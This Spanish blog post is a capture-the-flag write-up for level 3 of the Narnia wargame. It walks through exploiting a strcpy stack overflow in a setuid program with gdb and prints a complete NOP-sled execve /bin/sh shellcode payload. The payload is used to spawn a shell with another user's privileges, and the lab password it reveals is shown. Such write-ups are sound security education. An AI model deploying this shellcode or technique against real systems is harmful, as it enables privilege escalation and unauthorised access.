Continuando con la saga, y después de muchos segfaults por fin he conseguido pasar el nivel 3 de este juego, que os recomiendo para desempolvar esos conocimientos de ‘bajo nivel’.

A continuación os cuento las claves para pasar este nivel.

LEVEL3

Comenzamos ejecutando /wargame/level3 a ver qué hace.

level3@narnia:/wargame$ ./level3
Usage: ./level3 argument
level3@narnia:/wargame$ ./level3 sevillasecandbeer
sevillasecandbeerlevel3@narnia:/wargame$

Parece que simplemente escupe el primer argumento. Vemos el código.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int main(int argc, char * argv[]){
        char buf[128];
 
        if(argc == 1){
                printf("Usage: %s argument\n", argv[0]);
                exit(1);
        }
        seteuid(1004);
        strcpy(buf,argv[1]);
        printf("%s", buf);
 
        return 0;
}

Está claro que lo que hay que hacer es aprovechar que usan strcpy, una función que sabemos que es muy peligrosa porque no limita la entrada de datos al buffer.

En el nivel anterior, la idea era aprender a crear una shellcode., en este nivel se trata de aprender a ejecutarlo explotando un buffer overflow.

Lo primero es documentarse un poco. El famoso (y viejo) artículo de Aleph One ‘Smashing The Stack For Fun And Profit‘ y este tutorial fueron de gran ayuda.

Así que empecé a probar con gdb para intentar machacar la dirección de vuelta de la llamada a la función strcpy (tuve que probar muchas más veces :) ).

$ gdb /wargame/level3
(gdb) run `perl -e 'print "A"x138'`BBBB
Starting program: /wargame/level3 `perl -e 'print "A"x138'`BBBB
 
Program received signal SIGSEGV, Segmentation fault.
0xb7004242 in ?? ()
 
(gdb) run `perl -e 'print "A"x140'`BBBB
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /wargame/level3 `perl -e 'print "A"x140'`BBBB
 
Program received signal SIGSEGV, Segmentation fault.
x42424242 in ?? (

Una vez conocido el número de caracteres que hay que insertar para desbordar la dirección de retorno, hay que pensar con qué lo rellenamos. Lo mejor es incluir una shellcode, la que ya usamos en el nivel anterior y rellenar con NOPs el resto.

El siguiente volcado de memoria nos enseña cómo queda tras el desbordamiento anterior con ‘A’s y ‘B’s. (los 0x41414141).

gdb) x/150 $esp
0xbffff9c0:     0x00000000      0xbffffa34      0xbffffa40      0x00000000
0xbffff9d0:     0xb7fdfff4      0x00000000      0xb8000cc0      0xbffffa08
0xbffff9e0:     0xbffff9c0      0xb7ec7e6d      0x00000000      0x00000000
0xbffff9f0:     0x00000000      0xb7ff6090      0xb7ec7ded      0xb8000ff4
0xbffffa00:     0x00000002      0x08048350      0x00000000      0x08048371
0xbffffa10:     0x08048404      0x00000002      0xbffffa34      0x080484e0
0xbffffa20:     0x08048490      0xb7ff6c40      0xbffffa2c      0xb80014e4
0xbffffa30:     0x00000002      0xbffffb3f      0xbffffb4f      0x00000000
0xbffffa40:     0xbffffbe0      0xbffffbf0      0xbffffc00      0xbffffc1f
0xbffffa50:     0xbffffc32      0xbffffc3e      0xbffffeb9      0xbffffec5
0xbffffa60:     0xbffffef2      0xbfffff08      0xbfffff17      0xbfffff24
0xbffffa70:     0xbfffff2f      0xbfffff38      0xbfffff4f      0xbfffff61
0xbffffa80:     0xbfffff69      0xbfffff78      0xbfffffaa      0xbfffffca
0xbffffa90:     0x00000000      0x00000020      0xb7fea400      0x00000021
0xbffffaa0:     0xffffe000      0x00000010      0x0febfbff      0x00000006
0xbffffab0:     0x00001000      0x00000011      0x00000064      0x00000003
0xbffffac0:     0x08048034      0x00000004      0x00000020      0x00000005
0xbffffad0:     0x00000007      0x00000007      0xb7feb000      0x00000008
0xbffffae0:     0x00000000      0x00000009      0x08048350      0x0000000b
0xbffffaf0:     0x000003eb      0x0000000c      0x000003eb      0x0000000d
0xbffffb00:     0x000003eb      0x0000000e      0x000003eb      0x00000017
0xbffffb10:     0x00000000      0x0000000f      0xbffffb2b      0x00000000
0xbffffb20:     0x00000000      0x00000000      0x69000000      0x00363836
0xbffffb30:     0x00000000      0x00000000      0x00000000      0x2f000000
0xbffffb40:     0x67726177      0x2f656d61      0x6576656c      0x4100336c
0xbffffb50:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb60:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb70:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb80:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb90:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffba0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffbb0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffbc0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffbd0:     0x41414141      0x41414141      0x42414141      0x00424242
0xbffffbe0:     0x4c454853      0x622f3d4c      0x622f6e69      0x00687361
0xbffffbf0:     0x4d524554      0x7263733d      0x2d6e6565      0x00656362
0xbffffc00:     0x5f485353      0x45494c43      0x383d544e      0x34312e39
0xbffffc10:     0x2e362e30      0x34352032

Los NOPs son instrucciones que… no hacen nada. Su código hexadecimal es 90. Vamos a poner una dirección de retorno que caiga en medio, por ejemplo: 0xbffffb60.

Starting program: /wargame/level3 `echo -e "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x41\x41\x41\x41\x42\x42\x42\x42\x50\xfb\xff\xbf"`
sh-3.1$ ls
level1    level2    level3    level4    level5    level6    level7    level8
level1.c  level2.c  level3.c  level4.c  level5.c  level6.c  level7.c  level8.c
sh-3.1$ id
uid=1003(level3) gid=1003(level3) groups=1003(level3)
sh-3.1$ exit

Parece que lo hemos conseguido. Sin embargo, como se ejecuta dentro de gdb aún no tenemos el uid efectivo de level4.

Volvemos a probar desde la línea de comandos.

level3@narnia:/wargame$ EGG=`echo -e "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x41\x41\x41\x41\x42\x42\x42\x42\x60\xfb\xff\xbf"`
level3@narnia:/wargame$ ./level3 $EGG
sh-3.1$ id                  
uid=1003(level3) gid=1003(level3) euid=1004(level4) groups=1003(level3)
sh-3.1$ cat /home/level4/.passwd
ohb%a6Oh

Y ya tenemos la contraseña para el próximo nivel, que es curioso.